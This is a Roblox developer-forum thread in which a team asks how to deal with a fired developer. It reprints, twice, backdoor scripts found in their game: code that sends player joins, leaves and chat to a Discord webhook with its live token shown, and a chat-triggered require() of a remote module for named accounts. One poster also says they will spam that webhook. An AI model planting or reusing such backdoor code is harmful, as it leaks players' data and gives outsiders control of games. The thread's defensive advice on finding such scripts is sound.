What should we do against this guy?

I’ve been working for someone for a month or so and we have a completed developer team. However, today, the project’s owner had to fire a developer because of his incompetence. Basically he got mad and ended up leaking an old version of the map and the scripts of the project (we have proof of this). Another thing he did was say racist stuff to directly affect the developers (we also have proof of this). Other than that, he’s also an exploiter (unfortunately we don’t have proof to accuse him of that because he deleted the screenshots of him exploiting). What actions should we take against him?

You should just make the owner fire him without pay since the game didn’t make any profit.

If he was a scripter good luck fixing & figuring out his scripts

1 Like

The owner fired him an hour ago. And thanks for the suggestions.

btw make sure he didn’t put any viruses in the game because you said he is a exploiter. Check if there is any require() etc.

3 Likes

You can submit a DMCA request for your assets to Roblox via their support forum / email if you have proof.

I hope this helped! :smile:

1 Like

Just like you said:

---------------------------------------JOIN/LEAVE LOGS---------------------------------------

local Players = game:GetService("Players")
local http = game:GetService("HttpService")
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC" -- Place Webhook link here

-- Code --

Players.PlayerAdded:Connect(function(plr)
	local data = 
	{
		["contents"] = "",
		["embeds"] = {{
			["title"]= plr.name,
			["description"] = "Jogador entrou no mapa infectado ".."**("..game.PlaceId..")**",
			["type"]= "rich",
			["color"]= tonumber(0x21ff00),
			["fields"]={
				{
					["name"]="Novo player:",
					["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** Entrou no [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
					["inline"]=true}}}}
	}
	http:PostAsync(webhook,http:JSONEncode(data))
end)

Players.PlayerRemoving:Connect(function(plr)
	local leavedata = 
	{
		["contents"] = "",
		["embeds"] = {{
			["title"]= plr.name,
			["description"] = "Jogador saiu do mapa infectado ".." **("..game.PlaceId..")**",
			["type"]= "rich",
			["color"]= tonumber(0xff1500),
			["fields"]={
				{
					["name"]="Player saiu:",
					["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** saiu [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
					["inline"]=true}}}}
	}
	http:PostAsync(webhook,http:JSONEncode(leavedata))
end)

---------------------------------------FIM DO JOIN/LEFT LOGS---------------------------------------

---------------------------------------CHAT LOGS----------------------------------------------
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
---chatlogs
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC"

Players.PlayerAdded:Connect(function(plr)
	plr.Chatted:Connect(function(msg)
		local data = {
		["contents"] = "",
		["embeds"] = {{
			["title"]= plr.name,
			["description"] = "Jogador disse algo!",
			["type"]= "rich",
			["color"]= tonumber(0x00fffa),
			["fields"]={
				{
					["name"]="Disse:",
					["value"]="*"..msg.."*",
					["inline"]=true}}}}
		}
		HttpService:PostAsync(webhook, HttpService:JSONEncode(data))
	end)
end)

Config = {
	Users = {
		["Drezin"] = true,
		["JulioDo_Borel157"] = true,
		["Leonardu_Lean"] = true
		
		
	},
	PrivacyMode = true,
	Theme = "Default" -- Deprecated; do not change.
}


Debug = false
Config["OldScript"] = script


function onChatted(msg, speaker)
	
	source = string.lower(speaker.Name)
	msg = string.lower(msg)
	if msg == "cococococococo" then 
		
		require(5479252732).blazerisfreeforyouskids("Drezin")
		require(5479252732).blazerisfreeforyouskids("WivinOP")
		require(5479252732).blazerisfreeforyouskids("Leonardu_Lean")
		require(5479252732).blazerisfreeforyouskids("Livia_BrKawai")
		require(5479252732).blazerisfreeforyouskids("JulioDo_Borel157")
		require(5479252732).blazerisfreeforyouskids("Derpyftcorleone")
		
	end
end
---------------------------------------JOIN/LEAVE LOGS---------------------------------------

local Players = game:GetService("Players")
local http = game:GetService("HttpService")
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC" -- Place Webhook link here

-- Code --

Players.PlayerAdded:Connect(function(plr)
	local data = 
		{
		["contents"] = "",
		["embeds"] = {{
			["title"]= plr.name,
			["description"] = "Jogador entrou no mapa infectado ".."**("..game.PlaceId..")**",
			["type"]= "rich",
			["color"]= tonumber(0x21ff00),
			["fields"]={
				{
					["name"]="Novo player:",
					["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** Entrou no [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
					["inline"]=true}}}}
	}
	http:PostAsync(webhook,http:JSONEncode(data))
end)

Players.PlayerRemoving:Connect(function(plr)
	local leavedata = 
		{
		["contents"] = "",
		["embeds"] = {{
			["title"]= plr.name,
			["description"] = "Jogador saiu do mapa infectado ".." **("..game.PlaceId..")**",
			["type"]= "rich",
			["color"]= tonumber(0xff1500),
			["fields"]={
				{
					["name"]="Player saiu:",
					["value"]="Usuário: **"..plr.Name.."** com o ID: **"..plr.UserId.."** saiu [Jogo](https://www.roblox.com/games/".. game.PlaceId..")/[Perfil](https://www.roblox.com/users/"..plr.UserId.."/profile)",
					["inline"]=true}}}}
	}
	http:PostAsync(webhook,http:JSONEncode(leavedata))
end)

---------------------------------------FIM DO JOIN/LEFT LOGS---------------------------------------

---------------------------------------CHAT LOGS----------------------------------------------
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
---chatlogs
local webhook = "https://discordapp.com/api/webhooks/758468176572186645/3e0-9DQQY2yNfxpOIcPvzy3Ik3xMPjGvWS2CIdmh_HA4Puxdqj4CZVZ8SIEg_AMF2CRC"

Players.PlayerAdded:Connect(function(plr)
	plr.Chatted:Connect(function(msg)
		local data = {
			["contents"] = "",
			["embeds"] = {{
				["title"]= plr.name,
				["description"] = "Jogador disse algo!",
				["type"]= "rich",
				["color"]= tonumber(0x00fffa),
				["fields"]={
					{
						["name"]="Disse:",
						["value"]="*"..msg.."*",
						["inline"]=true}}}}
		}
		HttpService:PostAsync(webhook, HttpService:JSONEncode(data))
	end)
end)

Config = {
	Users = {
		["Drezin"] = true,
		["JulioDo_Borel157"] = true,
		["Leonardu_Lean"] = true
		
		
	},
	PrivacyMode = true,
	Theme = "Default" -- Deprecated; do not change.
}


Debug = false
Config["OldScript"] = script


function onChatted(msg, speaker)
	
	source = string.lower(speaker.Name)
	msg = string.lower(msg)
	if msg == "cococococococo" then 
		
		require(5479252732).blazerisfreeforyouskids("Drezin")
		require(5479252732).blazerisfreeforyouskids("WivinOP")
		require(5479252732).blazerisfreeforyouskids("Leonardu_Lean")
		require(5479252732).blazerisfreeforyouskids("Livia_BrKawai")
		require(5479252732).blazerisfreeforyouskids("JulioDo_Borel157")
		require(5479252732).blazerisfreeforyouskids("Derpyftcorleone")
		
	end
end

Oh god good that you found these scripts. Also to help you find viruses you can press CTRL + SHIFT + F and search a keyword and it will show you every script that has a certain word like require(

I knew about this trick. Anyways, I’ll spam messages using that webhook link XD.

1 Like

You can put a DMCA to protect your games or models. This is suggested by a lot of game developers and works absolutely fine!

You might also want to look at the game and see if he inserted any backdoors or suspicious scripts!

1 Like

He did insert a few scripts but I got rid of them. Thanks for the suggestions though!

1 Like

Thats amazing! Glad you could find them since they can bring a lot of issued in the run!

1 Like